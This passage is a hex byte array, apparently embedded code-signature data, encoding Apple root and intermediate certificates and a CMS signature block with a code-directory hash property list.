0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0f, 0x00, 0x30,
|
||||
0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xc9, 0x45, 0x6a, 0x01,
|
||||
0x0f, 0x3e, 0x83, 0x04, 0x86, 0xc7, 0xfc, 0xbf, 0xdc, 0x5e, 0xf0, 0x1e,
|
||||
0x81, 0xee, 0x17, 0x30, 0x73, 0x63, 0x26, 0x2e, 0xde, 0x3d, 0x7a, 0x24,
|
||||
0xcd, 0x93, 0x3e, 0x4f, 0x39, 0x47, 0xba, 0x75, 0xbe, 0xf3, 0xc0, 0xd2,
|
||||
0xf1, 0x59, 0xa2, 0xab, 0x1f, 0xfe, 0x0a, 0x86, 0x3c, 0xd9, 0x2d, 0x9a,
|
||||
0x07, 0xf2, 0x0e, 0x6b, 0xb9, 0x29, 0x91, 0x1a, 0x5f, 0x22, 0x0a, 0x8b,
|
||||
0xf1, 0x72, 0x58, 0x05, 0xae, 0x4c, 0x4b, 0x44, 0xc5, 0x79, 0xa7, 0x80,
|
||||
0x3c, 0xb0, 0x88, 0xe0, 0x8c, 0x0c, 0x27, 0x84, 0x5d, 0x19, 0xe5, 0x87,
|
||||
0x19, 0x36, 0xcb, 0xe3, 0xc5, 0x76, 0xb7, 0xb0, 0xf4, 0x41, 0x72, 0x51,
|
||||
0xf4, 0x05, 0x5c, 0x83, 0x4b, 0xa2, 0x6d, 0xa6, 0x51, 0xb8, 0xf1, 0x26,
|
||||
0xdf, 0x7b, 0x5e, 0xad, 0x65, 0x0c, 0xc6, 0xb2, 0x98, 0x51, 0x8c, 0xbb,
|
||||
0x7d, 0x1b, 0x4c, 0xc1, 0x4e, 0xc8, 0x08, 0xc7, 0xd2, 0xed, 0x64, 0x0b,
|
||||
0xb4, 0xdd, 0x1b, 0x8d, 0x4f, 0x40, 0x7d, 0x1b, 0x8f, 0x48, 0x96, 0x92,
|
||||
0x5b, 0xf3, 0xd0, 0x98, 0x7e, 0xd9, 0xbc, 0xa4, 0x19, 0x0e, 0x99, 0x61,
|
||||
0xbb, 0x41, 0x5d, 0x01, 0xcc, 0x5b, 0x77, 0x7a, 0x7d, 0x24, 0xd0, 0xdc,
|
||||
0xd3, 0x53, 0xff, 0xc3, 0xdc, 0xc5, 0x94, 0x2c, 0xb6, 0x5a, 0x4d, 0x8e,
|
||||
0x18, 0x23, 0x39, 0xbd, 0xd9, 0xc6, 0x52, 0x3e, 0xd1, 0xf2, 0xf4, 0x25,
|
||||
0x8a, 0xa1, 0x2a, 0x87, 0xfd, 0xd8, 0x0c, 0x46, 0x29, 0x51, 0xff, 0xed,
|
||||
0x17, 0x6c, 0x89, 0x25, 0x6b, 0x87, 0xbf, 0x8a, 0x69, 0x14, 0x9f, 0x77,
|
||||
0x9f, 0xc3, 0x15, 0xb7, 0x68, 0xb3, 0x88, 0x45, 0xbd, 0x84, 0xe6, 0x06,
|
||||
0x02, 0x41, 0x64, 0x0f, 0xad, 0x2a, 0x28, 0xb8, 0x15, 0xc9, 0xe0, 0xac,
|
||||
0xa7, 0x8a, 0xba, 0x72, 0x04, 0x34, 0xb2, 0x78, 0x8c, 0xf8, 0xb2, 0x85,
|
||||
0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x81, 0xec, 0x30, 0x81, 0xe9, 0x30,
|
||||
0x0f, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff, 0x04, 0x05, 0x30,
|
||||
0x03, 0x01, 0x01, 0xff, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x1d, 0x23, 0x04,
|
||||
0x18, 0x30, 0x16, 0x80, 0x14, 0x2b, 0xd0, 0x69, 0x47, 0x94, 0x76, 0x09,
|
||||
0xfe, 0xf4, 0x6b, 0x8d, 0x2e, 0x40, 0xa6, 0xf7, 0x47, 0x4d, 0x7f, 0x08,
|
||||
0x5e, 0x30, 0x44, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01,
|
||||
0x01, 0x04, 0x38, 0x30, 0x36, 0x30, 0x34, 0x06, 0x08, 0x2b, 0x06, 0x01,
|
||||
0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x28, 0x68, 0x74, 0x74, 0x70, 0x3a,
|
||||
0x2f, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x30, 0x33, 0x2d,
|
||||
0x61, 0x70, 0x70, 0x6c, 0x65, 0x72, 0x6f, 0x6f, 0x74, 0x63, 0x61, 0x30,
|
||||
0x2e, 0x06, 0x03, 0x55, 0x1d, 0x1f, 0x04, 0x27, 0x30, 0x25, 0x30, 0x23,
|
||||
0xa0, 0x21, 0xa0, 0x1f, 0x86, 0x1d, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f,
|
||||
0x2f, 0x63, 0x72, 0x6c, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65, 0x2e, 0x63,
|
||||
0x6f, 0x6d, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2e, 0x63, 0x72, 0x6c, 0x30,
|
||||
0x1d, 0x06, 0x03, 0x55, 0x1d, 0x0e, 0x04, 0x16, 0x04, 0x14, 0x6f, 0xf1,
|
||||
0x95, 0x18, 0x62, 0x5c, 0xe0, 0xc8, 0xf1, 0xc5, 0xed, 0x6c, 0x18, 0xc9,
|
||||
0xe0, 0xd3, 0x64, 0x52, 0x98, 0x20, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d,
|
||||
0x0f, 0x01, 0x01, 0xff, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, 0x30, 0x10,
|
||||
0x06, 0x0a, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64, 0x06, 0x02, 0x12,
|
||||
0x04, 0x02, 0x05, 0x00, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86,
|
||||
0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00,
|
||||
0x3a, 0xcf, 0xac, 0x98, 0x8d, 0xbe, 0x92, 0x20, 0x21, 0x09, 0xad, 0x95,
|
||||
0xf3, 0xb1, 0x5c, 0x21, 0xfa, 0x36, 0x2d, 0x57, 0x20, 0x44, 0x74, 0x73,
|
||||
0x64, 0x92, 0x08, 0xb3, 0x96, 0xac, 0xf7, 0x6d, 0x97, 0xfa, 0x5b, 0x34,
|
||||
0x38, 0x27, 0xcf, 0x12, 0x46, 0xd3, 0x3c, 0x11, 0xf0, 0x07, 0xc9, 0x99,
|
||||
0x90, 0xb1, 0xd1, 0xe8, 0x11, 0x09, 0xa5, 0xe3, 0xa5, 0x6b, 0x6c, 0x63,
|
||||
0x08, 0x3f, 0x9e, 0x25, 0xfa, 0xd5, 0x99, 0x9c, 0x4c, 0xe6, 0xe5, 0xce,
|
||||
0x8e, 0xb2, 0x4d, 0x68, 0xec, 0x8b, 0xab, 0xa3, 0xa2, 0x4f, 0x8a, 0x11,
|
||||
0x15, 0x3e, 0xdc, 0x14, 0x2b, 0x1c, 0xc6, 0x44, 0xb6, 0x6f, 0x67, 0xc5,
|
||||
0x5b, 0x4f, 0x95, 0x29, 0x2d, 0x87, 0x5c, 0x3f, 0xdc, 0x83, 0x1e, 0x77,
|
||||
0x4f, 0xed, 0xda, 0x54, 0xa7, 0x2d, 0xe7, 0x13, 0x81, 0xc1, 0x63, 0xc4,
|
||||
0x54, 0x0b, 0x1b, 0x4b, 0x0a, 0x6a, 0x28, 0x22, 0x08, 0xd4, 0x37, 0x92,
|
||||
0x7c, 0x7f, 0x67, 0x28, 0x5f, 0xaf, 0x3d, 0x3f, 0xb7, 0xac, 0x59, 0x1d,
|
||||
0x38, 0x34, 0x64, 0x5a, 0xee, 0x33, 0x4a, 0x19, 0x42, 0x44, 0x29, 0xc4,
|
||||
0xca, 0x18, 0x6b, 0xe1, 0xc1, 0x53, 0x2d, 0x2d, 0xf4, 0x4d, 0xc2, 0x15,
|
||||
0xf6, 0x33, 0x32, 0x18, 0x78, 0xf1, 0x26, 0x6f, 0x8a, 0x4d, 0xeb, 0x94,
|
||||
0x4c, 0xa3, 0xe8, 0xff, 0x0f, 0xb3, 0x03, 0x8b, 0x65, 0xda, 0xeb, 0x2e,
|
||||
0xd8, 0x65, 0x50, 0x9f, 0xdc, 0x9f, 0x8a, 0xdf, 0x31, 0xa8, 0x84, 0x54,
|
||||
0xdc, 0x52, 0x52, 0x41, 0xd2, 0xb2, 0x13, 0x1d, 0x31, 0x46, 0x47, 0x88,
|
||||
0x5f, 0x3e, 0xee, 0xc3, 0xf2, 0x8c, 0x23, 0x04, 0x95, 0xeb, 0xac, 0x8a,
|
||||
0x3e, 0x82, 0x6c, 0x06, 0x9f, 0x2e, 0xe3, 0x8b, 0x43, 0x9a, 0x62, 0x5b,
|
||||
0x34, 0x0d, 0xf4, 0x99, 0xcf, 0x2c, 0xee, 0xba, 0x72, 0x86, 0x19, 0x23,
|
||||
0xa5, 0xfc, 0x8e, 0xb5, 0x30, 0x82, 0x04, 0xbb, 0x30, 0x82, 0x03, 0xa3,
|
||||
0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x01, 0x02, 0x30, 0x0d, 0x06, 0x09,
|
||||
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30,
|
||||
0x62, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02,
|
||||
0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13,
|
||||
0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31,
|
||||
0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x1d, 0x41, 0x70,
|
||||
0x70, 0x6c, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63,
|
||||
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72,
|
||||
0x69, 0x74, 0x79, 0x31, 0x16, 0x30, 0x14, 0x06, 0x03, 0x55, 0x04, 0x03,
|
||||
0x13, 0x0d, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x52, 0x6f, 0x6f, 0x74,
|
||||
0x20, 0x43, 0x41, 0x30, 0x1e, 0x17, 0x0d, 0x30, 0x36, 0x30, 0x34, 0x32,
|
||||
0x35, 0x32, 0x31, 0x34, 0x30, 0x33, 0x36, 0x5a, 0x17, 0x0d, 0x33, 0x35,
|
||||
0x30, 0x32, 0x30, 0x39, 0x32, 0x31, 0x34, 0x30, 0x33, 0x36, 0x5a, 0x30,
|
||||
0x62, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02,
|
||||
0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x13,
|
||||
0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31,
|
||||
0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13, 0x1d, 0x41, 0x70,
|
||||
0x70, 0x6c, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63,
|
||||
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72,
|
||||
0x69, 0x74, 0x79, 0x31, 0x16, 0x30, 0x14, 0x06, 0x03, 0x55, 0x04, 0x03,
|
||||
0x13, 0x0d, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x52, 0x6f, 0x6f, 0x74,
|
||||
0x20, 0x43, 0x41, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a,
|
||||
0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82,
|
||||
0x01, 0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00,
|
||||
0xe4, 0x91, 0xa9, 0x09, 0x1f, 0x91, 0xdb, 0x1e, 0x47, 0x50, 0xeb, 0x05,
|
||||
0xed, 0x5e, 0x79, 0x84, 0x2d, 0xeb, 0x36, 0xa2, 0x57, 0x4c, 0x55, 0xec,
|
||||
0x8b, 0x19, 0x89, 0xde, 0xf9, 0x4b, 0x6c, 0xf5, 0x07, 0xab, 0x22, 0x30,
|
||||
0x02, 0xe8, 0x18, 0x3e, 0xf8, 0x50, 0x09, 0xd3, 0x7f, 0x41, 0xa8, 0x98,
|
||||
0xf9, 0xd1, 0xca, 0x66, 0x9c, 0x24, 0x6b, 0x11, 0xd0, 0xa3, 0xbb, 0xe4,
|
||||
0x1b, 0x2a, 0xc3, 0x1f, 0x95, 0x9e, 0x7a, 0x0c, 0xa4, 0x47, 0x8b, 0x5b,
|
||||
0xd4, 0x16, 0x37, 0x33, 0xcb, 0xc4, 0x0f, 0x4d, 0xce, 0x14, 0x69, 0xd1,
|
||||
0xc9, 0x19, 0x72, 0xf5, 0x5d, 0x0e, 0xd5, 0x7f, 0x5f, 0x9b, 0xf2, 0x25,
|
||||
0x03, 0xba, 0x55, 0x8f, 0x4d, 0x5d, 0x0d, 0xf1, 0x64, 0x35, 0x23, 0x15,
|
||||
0x4b, 0x15, 0x59, 0x1d, 0xb3, 0x94, 0xf7, 0xf6, 0x9c, 0x9e, 0xcf, 0x50,
|
||||
0xba, 0xc1, 0x58, 0x50, 0x67, 0x8f, 0x08, 0xb4, 0x20, 0xf7, 0xcb, 0xac,
|
||||
0x2c, 0x20, 0x6f, 0x70, 0xb6, 0x3f, 0x01, 0x30, 0x8c, 0xb7, 0x43, 0xcf,
|
||||
0x0f, 0x9d, 0x3d, 0xf3, 0x2b, 0x49, 0x28, 0x1a, 0xc8, 0xfe, 0xce, 0xb5,
|
||||
0xb9, 0x0e, 0xd9, 0x5e, 0x1c, 0xd6, 0xcb, 0x3d, 0xb5, 0x3a, 0xad, 0xf4,
|
||||
0x0f, 0x0e, 0x00, 0x92, 0x0b, 0xb1, 0x21, 0x16, 0x2e, 0x74, 0xd5, 0x3c,
|
||||
0x0d, 0xdb, 0x62, 0x16, 0xab, 0xa3, 0x71, 0x92, 0x47, 0x53, 0x55, 0xc1,
|
||||
0xaf, 0x2f, 0x41, 0xb3, 0xf8, 0xfb, 0xe3, 0x70, 0xcd, 0xe6, 0xa3, 0x4c,
|
||||
0x45, 0x7e, 0x1f, 0x4c, 0x6b, 0x50, 0x96, 0x41, 0x89, 0xc4, 0x74, 0x62,
|
||||
0x0b, 0x10, 0x83, 0x41, 0x87, 0x33, 0x8a, 0x81, 0xb1, 0x30, 0x58, 0xec,
|
||||
0x5a, 0x04, 0x32, 0x8c, 0x68, 0xb3, 0x8f, 0x1d, 0xde, 0x65, 0x73, 0xff,
|
||||
0x67, 0x5e, 0x65, 0xbc, 0x49, 0xd8, 0x76, 0x9f, 0x33, 0x14, 0x65, 0xa1,
|
||||
0x77, 0x94, 0xc9, 0x2d, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x82, 0x01,
|
||||
0x7a, 0x30, 0x82, 0x01, 0x76, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d, 0x0f,
|
||||
0x01, 0x01, 0xff, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, 0x30, 0x0f, 0x06,
|
||||
0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff, 0x04, 0x05, 0x30, 0x03, 0x01,
|
||||
0x01, 0xff, 0x30, 0x1d, 0x06, 0x03, 0x55, 0x1d, 0x0e, 0x04, 0x16, 0x04,
|
||||
0x14, 0x2b, 0xd0, 0x69, 0x47, 0x94, 0x76, 0x09, 0xfe, 0xf4, 0x6b, 0x8d,
|
||||
0x2e, 0x40, 0xa6, 0xf7, 0x47, 0x4d, 0x7f, 0x08, 0x5e, 0x30, 0x1f, 0x06,
|
||||
0x03, 0x55, 0x1d, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x2b, 0xd0,
|
||||
0x69, 0x47, 0x94, 0x76, 0x09, 0xfe, 0xf4, 0x6b, 0x8d, 0x2e, 0x40, 0xa6,
|
||||
0xf7, 0x47, 0x4d, 0x7f, 0x08, 0x5e, 0x30, 0x82, 0x01, 0x11, 0x06, 0x03,
|
||||
0x55, 0x1d, 0x20, 0x04, 0x82, 0x01, 0x08, 0x30, 0x82, 0x01, 0x04, 0x30,
|
||||
0x82, 0x01, 0x00, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64,
|
||||
0x05, 0x01, 0x30, 0x81, 0xf2, 0x30, 0x2a, 0x06, 0x08, 0x2b, 0x06, 0x01,
|
||||
0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x1e, 0x68, 0x74, 0x74, 0x70, 0x73,
|
||||
0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x61, 0x70, 0x70, 0x6c, 0x65, 0x63, 0x61,
|
||||
0x2f, 0x30, 0x81, 0xc3, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07,
|
||||
0x02, 0x02, 0x30, 0x81, 0xb6, 0x1a, 0x81, 0xb3, 0x52, 0x65, 0x6c, 0x69,
|
||||
0x61, 0x6e, 0x63, 0x65, 0x20, 0x6f, 0x6e, 0x20, 0x74, 0x68, 0x69, 0x73,
|
||||
0x20, 0x63, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x65,
|
||||
0x20, 0x62, 0x79, 0x20, 0x61, 0x6e, 0x79, 0x20, 0x70, 0x61, 0x72, 0x74,
|
||||
0x79, 0x20, 0x61, 0x73, 0x73, 0x75, 0x6d, 0x65, 0x73, 0x20, 0x61, 0x63,
|
||||
0x63, 0x65, 0x70, 0x74, 0x61, 0x6e, 0x63, 0x65, 0x20, 0x6f, 0x66, 0x20,
|
||||
0x74, 0x68, 0x65, 0x20, 0x74, 0x68, 0x65, 0x6e, 0x20, 0x61, 0x70, 0x70,
|
||||
0x6c, 0x69, 0x63, 0x61, 0x62, 0x6c, 0x65, 0x20, 0x73, 0x74, 0x61, 0x6e,
|
||||
0x64, 0x61, 0x72, 0x64, 0x20, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x20, 0x61,
|
||||
0x6e, 0x64, 0x20, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e,
|
||||
0x73, 0x20, 0x6f, 0x66, 0x20, 0x75, 0x73, 0x65, 0x2c, 0x20, 0x63, 0x65,
|
||||
0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x65, 0x20, 0x70, 0x6f,
|
||||
0x6c, 0x69, 0x63, 0x79, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x63, 0x65, 0x72,
|
||||
0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x70,
|
||||
0x72, 0x61, 0x63, 0x74, 0x69, 0x63, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74,
|
||||
0x65, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2e, 0x30, 0x0d, 0x06, 0x09, 0x2a,
|
||||
0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82,
|
||||
0x01, 0x01, 0x00, 0x5c, 0x36, 0x99, 0x4c, 0x2d, 0x78, 0xb7, 0xed, 0x8c,
|
||||
0x9b, 0xdc, 0xf3, 0x77, 0x9b, 0xf2, 0x76, 0xd2, 0x77, 0x30, 0x4f, 0xc1,
|
||||
0x1f, 0x85, 0x83, 0x85, 0x1b, 0x99, 0x3d, 0x47, 0x37, 0xf2, 0xa9, 0x9b,
|
||||
0x40, 0x8e, 0x2c, 0xd4, 0xb1, 0x90, 0x12, 0xd8, 0xbe, 0xf4, 0x73, 0x9b,
|
||||
0xee, 0xd2, 0x64, 0x0f, 0xcb, 0x79, 0x4f, 0x34, 0xd8, 0xa2, 0x3e, 0xf9,
|
||||
0x78, 0xff, 0x6b, 0xc8, 0x07, 0xec, 0x7d, 0x39, 0x83, 0x8b, 0x53, 0x20,
|
||||
0xd3, 0x38, 0xc4, 0xb1, 0xbf, 0x9a, 0x4f, 0x0a, 0x6b, 0xff, 0x2b, 0xfc,
|
||||
0x59, 0xa7, 0x05, 0x09, 0x7c, 0x17, 0x40, 0x56, 0x11, 0x1e, 0x74, 0xd3,
|
||||
0xb7, 0x8b, 0x23, 0x3b, 0x47, 0xa3, 0xd5, 0x6f, 0x24, 0xe2, 0xeb, 0xd1,
|
||||
0xb7, 0x70, 0xdf, 0x0f, 0x45, 0xe1, 0x27, 0xca, 0xf1, 0x6d, 0x78, 0xed,
|
||||
0xe7, 0xb5, 0x17, 0x17, 0xa8, 0xdc, 0x7e, 0x22, 0x35, 0xca, 0x25, 0xd5,
|
||||
0xd9, 0x0f, 0xd6, 0x6b, 0xd4, 0xa2, 0x24, 0x23, 0x11, 0xf7, 0xa1, 0xac,
|
||||
0x8f, 0x73, 0x81, 0x60, 0xc6, 0x1b, 0x5b, 0x09, 0x2f, 0x92, 0xb2, 0xf8,
|
||||
0x44, 0x48, 0xf0, 0x60, 0x38, 0x9e, 0x15, 0xf5, 0x3d, 0x26, 0x67, 0x20,
|
||||
0x8a, 0x33, 0x6a, 0xf7, 0x0d, 0x82, 0xcf, 0xde, 0xeb, 0xa3, 0x2f, 0xf9,
|
||||
0x53, 0x6a, 0x5b, 0x64, 0xc0, 0x63, 0x33, 0x77, 0xf7, 0x3a, 0x07, 0x2c,
|
||||
0x56, 0xeb, 0xda, 0x0f, 0x21, 0x0e, 0xda, 0xba, 0x73, 0x19, 0x4f, 0xb5,
|
||||
0xd9, 0x36, 0x7f, 0xc1, 0x87, 0x55, 0xd9, 0xa7, 0x99, 0xb9, 0x32, 0x42,
|
||||
0xfb, 0xd8, 0xd5, 0x71, 0x9e, 0x7e, 0xa1, 0x52, 0xb7, 0x1b, 0xbd, 0x93,
|
||||
0x42, 0x24, 0x12, 0x2a, 0xc7, 0x0f, 0x1d, 0xb6, 0x4d, 0x9c, 0x5e, 0x63,
|
||||
0xc8, 0x4b, 0x80, 0x17, 0x50, 0xaa, 0x8a, 0xd5, 0xda, 0xe4, 0xfc, 0xd0,
|
||||
0x09, 0x07, 0x37, 0xb0, 0x75, 0x75, 0x21, 0x31, 0x82, 0x03, 0xb5, 0x30,
|
||||
0x82, 0x03, 0xb1, 0x02, 0x01, 0x01, 0x30, 0x7f, 0x30, 0x73, 0x31, 0x2d,
|
||||
0x30, 0x2b, 0x06, 0x03, 0x55, 0x04, 0x03, 0x0c, 0x24, 0x41, 0x70, 0x70,
|
||||
0x6c, 0x65, 0x20, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20, 0x43, 0x65,
|
||||
0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20,
|
||||
0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x20, 0x30,
|
||||
0x1e, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x0c, 0x17, 0x43, 0x65, 0x72, 0x74,
|
||||
0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75,
|
||||
0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x13, 0x30, 0x11, 0x06,
|
||||
0x03, 0x55, 0x04, 0x0a, 0x0c, 0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20,
|
||||
0x49, 0x6e, 0x63, 0x2e, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
|
||||
0x06, 0x13, 0x02, 0x55, 0x53, 0x02, 0x08, 0x40, 0x60, 0x57, 0xb3, 0xc9,
|
||||
0xbf, 0x9d, 0xf0, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65,
|
||||
0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0xa0, 0x82, 0x02, 0x07, 0x30, 0x18,
|
||||
0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09, 0x03, 0x31,
|
||||
0x0b, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x01,
|
||||
0x30, 0x2f, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x09,
|
||||
0x04, 0x31, 0x22, 0x04, 0x20, 0xc2, 0x96, 0x8f, 0x4a, 0x63, 0xc0, 0xcf,
|
||||
0xb6, 0xcd, 0x82, 0xb8, 0x48, 0xe2, 0x04, 0x3d, 0xa0, 0x71, 0xfe, 0xa3,
|
||||
0x66, 0x32, 0x8c, 0xb4, 0xe0, 0x94, 0x12, 0xdb, 0xb5, 0x73, 0x96, 0xc4,
|
||||
0xc4, 0x30, 0x5b, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64,
|
||||
0x09, 0x02, 0x31, 0x4e, 0x30, 0x1d, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02,
|
||||
0x1a, 0x04, 0x14, 0x51, 0xf9, 0xbc, 0xa2, 0x95, 0xbe, 0x9c, 0x2e, 0x1d,
|
||||
0xee, 0x77, 0xd0, 0x93, 0xce, 0x0f, 0xcf, 0x3f, 0xc9, 0x34, 0x50, 0x30,
|
||||
0x2d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01,
|
||||
0x04, 0x20, 0x93, 0x72, 0x19, 0xc3, 0x98, 0x18, 0xd7, 0x7d, 0x0c, 0x7b,
|
||||
0x93, 0x6c, 0xba, 0xd6, 0x2c, 0xa4, 0x4c, 0x44, 0xb7, 0xa4, 0xaa, 0x7c,
|
||||
0x50, 0x40, 0x93, 0x6f, 0x30, 0xb3, 0xe1, 0x19, 0xb0, 0x40, 0x30, 0x82,
|
||||
0x01, 0x5b, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64, 0x09,
|
||||
0x01, 0x31, 0x82, 0x01, 0x4c, 0x04, 0x82, 0x01, 0x48, 0x3c, 0x3f, 0x78,
|
||||
0x6d, 0x6c, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x3d, 0x22,
|
||||
0x31, 0x2e, 0x30, 0x22, 0x20, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e,
|
||||
0x67, 0x3d, 0x22, 0x55, 0x54, 0x46, 0x2d, 0x38, 0x22, 0x3f, 0x3e, 0x0a,
|
||||
0x3c, 0x21, 0x44, 0x4f, 0x43, 0x54, 0x59, 0x50, 0x45, 0x20, 0x70, 0x6c,
|
||||
0x69, 0x73, 0x74, 0x20, 0x50, 0x55, 0x42, 0x4c, 0x49, 0x43, 0x20, 0x22,
|
||||
0x2d, 0x2f, 0x2f, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x2f, 0x2f, 0x44, 0x54,
|
||||
0x44, 0x20, 0x50, 0x4c, 0x49, 0x53, 0x54, 0x20, 0x31, 0x2e, 0x30, 0x2f,
|
||||
0x2f, 0x45, 0x4e, 0x22, 0x20, 0x22, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f,
|
||||
0x2f, 0x77, 0x77, 0x77, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65, 0x2e, 0x63,
|
||||
0x6f, 0x6d, 0x2f, 0x44, 0x54, 0x44, 0x73, 0x2f, 0x50, 0x72, 0x6f, 0x70,
|
||||
0x65, 0x72, 0x74, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x2d, 0x31, 0x2e, 0x30,
|
||||
0x2e, 0x64, 0x74, 0x64, 0x22, 0x3e, 0x0a, 0x3c, 0x70, 0x6c, 0x69, 0x73,
|
||||
0x74, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x3d, 0x22, 0x31,
|
||||
0x2e, 0x30, 0x22, 0x3e, 0x0a, 0x3c, 0x64, 0x69, 0x63, 0x74, 0x3e, 0x0a,
|
||||
0x09, 0x3c, 0x6b, 0x65, 0x79, 0x3e, 0x63, 0x64, 0x68, 0x61, 0x73, 0x68,
|
||||
0x65, 0x73, 0x3c, 0x2f, 0x6b, 0x65, 0x79, 0x3e, 0x0a, 0x09, 0x3c, 0x61,
|
||||
0x72, 0x72, 0x61, 0x79, 0x3e, 0x0a, 0x09, 0x09, 0x3c, 0x64, 0x61, 0x74,
|
||||
0x61, 0x3e, 0x0a, 0x09, 0x09, 0x55, 0x66, 0x6d, 0x38, 0x6f, 0x70, 0x57,
|
||||
